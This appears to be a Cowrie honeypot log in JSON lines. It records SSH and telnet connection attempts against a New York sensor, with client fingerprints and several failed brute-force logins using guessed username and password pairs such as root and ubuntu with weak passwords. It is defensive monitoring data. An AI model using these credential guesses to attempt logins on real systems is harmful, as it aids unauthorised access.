{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":15228,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a3caf9477a","protocol":"ssh","message":"New connection: 94.156.152.18:15228 (159.203.135.109:22) [session: 64a3caf9477a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:54.561366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:54.565932Z","src_ip":"94.156.152.18","session":"64a3caf9477a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:54.692859Z","src_ip":"94.156.152.18","session":"64a3caf9477a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU32GBAMD","message":"login attempt [root/XYZZ#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:55.075403Z","src_ip":"94.156.152.18","session":"64a3caf9477a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53198,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e044dfc532c","protocol":"telnet","message":"New connection: 165.232.131.181:53198 (10.17.0.5:23) [session: 2e044dfc532c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:55.224889Z"}
{"eventid":"cowrie.session.closed","duration":0.005434989929199219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:55.230210Z","src_ip":"165.232.131.181","session":"2e044dfc532c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:56.204462Z","src_ip":"94.156.152.18","session":"64a3caf9477a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59912,"dst_ip":"10.17.0.5","dst_port":23,"session":"d197ba7e7d03","protocol":"telnet","message":"New connection: 62.210.97.77:59912 (10.17.0.5:23) [session: d197ba7e7d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:00.443275Z"}
{"eventid":"cowrie.session.closed","duration":33.516820430755615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:02.472261Z","src_ip":"62.210.97.77","session":"53c7c466c28f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.76.190","src_port":42152,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e43ca55899","protocol":"ssh","message":"New connection: 120.48.76.190:42152 (10.17.0.5:22) [session: 31e43ca55899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:03.042626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:03.047343Z","src_ip":"120.48.76.190","session":"31e43ca55899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:03.268313Z","src_ip":"120.48.76.190","session":"31e43ca55899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4081a80fb5","protocol":"telnet","message":"New connection: 165.232.131.181:60138 (10.17.0.5:23) [session: 7c4081a80fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:03.657603Z"}
{"eventid":"cowrie.session.closed","duration":39.16874814033508,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:03.863438Z","src_ip":"192.211.53.160","session":"fe136c16ec5f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"josh","password":"test","message":"login attempt [josh/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:04.182955Z","src_ip":"120.48.76.190","session":"31e43ca55899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:05.407185Z","src_ip":"120.48.76.190","session":"31e43ca55899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":57110,"dst_ip":"159.203.135.109","dst_port":22,"session":"36159461ad7e","protocol":"ssh","message":"New connection: 61.72.55.130:57110 (159.203.135.109:22) [session: 36159461ad7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:17.570395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:17.575273Z","src_ip":"61.72.55.130","session":"36159461ad7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:17.773265Z","src_ip":"61.72.55.130","session":"36159461ad7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33108,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c78a43a9d5d","protocol":"telnet","message":"New connection: 65.60.27.33:33108 (10.17.0.5:23) [session: 2c78a43a9d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:18.562485Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Q123456","message":"login attempt [ubuntu/Q123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:18.595004Z","src_ip":"61.72.55.130","session":"36159461ad7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:19.796414Z","src_ip":"61.72.55.130","session":"36159461ad7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.19833040237427,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:23.102371Z","src_ip":"165.232.131.181","session":"4765722d1576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":48120,"dst_ip":"159.203.135.109","dst_port":22,"session":"52f86df8b468","protocol":"ssh","message":"New connection: 20.203.42.204:48120 (159.203.135.109:22) [session: 52f86df8b468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:36.712611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:36.720508Z","src_ip":"20.203.42.204","session":"52f86df8b468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:36.887769Z","src_ip":"20.203.42.204","session":"52f86df8b468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password1","message":"login attempt [ubuntu/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:37.586858Z","src_ip":"20.203.42.204","session":"52f86df8b468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.182878494262695,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:37.626029Z","src_ip":"62.210.97.77","session":"d197ba7e7d03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:38.757977Z","src_ip":"20.203.42.204","session":"52f86df8b468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54734,"dst_ip":"10.17.0.5","dst_port":23,"session":"38af99c86056","protocol":"telnet","message":"New connection: 38.54.119.93:54734 (10.17.0.5:23) [session: 38af99c86056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:49.432029Z"}
{"eventid":"cowrie.session.closed","duration":48.31480550765991,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:51.972253Z","src_ip":"165.232.131.181","session":"7c4081a80fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58478,"dst_ip":"10.17.0.5","dst_port":23,"session":"c310e2684e95","protocol":"telnet","message":"New connection: 38.54.119.93:58478 (10.17.0.5:23) [session: c310e2684e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:54.798257Z"}
{"eventid":"cowrie.session.closed","duration":7.324109077453613,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:56.756012Z","src_ip":"38.54.119.93","session":"38af99c86056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58746,"dst_ip":"10.17.0.5","dst_port":23,"session":"03ada7671666","protocol":"telnet","message":"New connection: 62.210.97.77:58746 (10.17.0.5:23) [session: 03ada7671666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:57.479690Z"}
{"eventid":"cowrie.session.closed","duration":40.3993501663208,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:37:58.961717Z","src_ip":"65.60.27.33","session":"2c78a43a9d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":42476,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f4717a93e4","protocol":"telnet","message":"New connection: 88.157.1.16:42476 (159.203.135.109:23) [session: f3f4717a93e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:02.279927Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":41596,"dst_ip":"159.203.135.109","dst_port":23,"session":"032d14414584","protocol":"telnet","message":"New connection: 88.157.1.16:41596 (159.203.135.109:23) [session: 032d14414584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:03.617564Z"}
{"eventid":"cowrie.session.closed","duration":0.004404306411743164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:03.621865Z","src_ip":"88.157.1.16","session":"032d14414584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.809566020965576,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:05.089390Z","src_ip":"88.157.1.16","session":"f3f4717a93e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":42932,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb01fe61a08","protocol":"telnet","message":"New connection: 88.157.1.16:42932 (159.203.135.109:23) [session: 2bb01fe61a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:06.448962Z"}
{"eventid":"cowrie.session.closed","duration":2.6550071239471436,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:09.103863Z","src_ip":"88.157.1.16","session":"2bb01fe61a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.157.1.16","src_port":43524,"dst_ip":"159.203.135.109","dst_port":23,"session":"79f0a62569e4","protocol":"telnet","message":"New connection: 88.157.1.16:43524 (159.203.135.109:23) [session: 79f0a62569e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:09.307005Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58280,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeeaa82b4303","protocol":"telnet","message":"New connection: 165.232.131.181:58280 (10.17.0.5:23) [session: aeeaa82b4303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:12.433994Z"}
{"eventid":"cowrie.session.closed","duration":3.7747020721435547,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:13.081618Z","src_ip":"88.157.1.16","session":"79f0a62569e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":58066,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0512b236aa3","protocol":"ssh","message":"New connection: 61.72.55.130:58066 (159.203.135.109:22) [session: c0512b236aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:13.892564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:13.905018Z","src_ip":"61.72.55.130","session":"c0512b236aa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:14.106303Z","src_ip":"61.72.55.130","session":"c0512b236aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43328,"dst_ip":"10.17.0.5","dst_port":23,"session":"b414276d955f","protocol":"telnet","message":"New connection: 38.54.119.93:43328 (10.17.0.5:23) [session: b414276d955f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:14.549998Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"09876","message":"login attempt [ubuntu/09876] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:14.942915Z","src_ip":"61.72.55.130","session":"c0512b236aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:16.147138Z","src_ip":"61.72.55.130","session":"c0512b236aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.108301639556885,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:20.658162Z","src_ip":"38.54.119.93","session":"b414276d955f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.923495292663574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:33.403068Z","src_ip":"62.210.97.77","session":"03ada7671666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.88189673423767,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:36.679996Z","src_ip":"38.54.119.93","session":"c310e2684e95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55860,"dst_ip":"159.203.135.109","dst_port":22,"session":"5048e1734f89","protocol":"ssh","message":"New connection: 80.94.92.182:55860 (159.203.135.109:22) [session: 5048e1734f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:43.308808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:38:43.313719Z","src_ip":"80.94.92.182","session":"5048e1734f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sh